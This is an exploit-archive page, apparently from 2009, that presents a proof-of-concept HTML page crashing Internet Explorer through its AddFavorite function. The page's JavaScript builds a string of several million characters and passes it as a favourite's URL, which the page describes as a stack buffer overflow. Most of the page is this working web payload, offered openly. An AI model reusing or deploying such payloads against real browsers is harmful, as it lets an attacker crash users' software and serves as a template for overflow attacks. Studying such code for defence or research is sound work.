[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Microsoft Internet Explorer (AddFavorite) Remote Crash PoC
# Published : 2009-07-09
# Author : Sberry
# Previous Title : MySQL <= 5.0.45 COM_CREATE_DB Format String PoC (auth)
# Next Title : Apple Safari 4.x JavaScript Reload Remote Crash Exploit
------------------------------------------->
IE Add Favourites Stack Buffer Overflow POC
Sberry, Compaq
------------------------------------------->
<html>
<head>
<script language="JavaScript" type="Text/Javascript">
function go()
{
var str =unescape('%u4141');
var finalstr = createInlineBuffer(str, 5150000);
var len = finalstr.length;
document.write(len);
addfav(finalstr);
}
/* Effient in-line creation */
function createInlineBuffer (str, num) {
var i = Math.ceil(Math.log(num) / Math.LN2),
res = str;
do {
res += res;
} while (0 < --i);
return res.slice(0, str.length * num);
}
/* Vulnerable Function */
function addfav(str)
{
if (document.all)
{
window.external.AddFavorite
('http://'+str,'Crash')
}
}
</script>
</head>
<body>
<a href="javascript:go()">Add To Favorites</a>
</body>
</html>
# www.Syue.com [2009-07-09]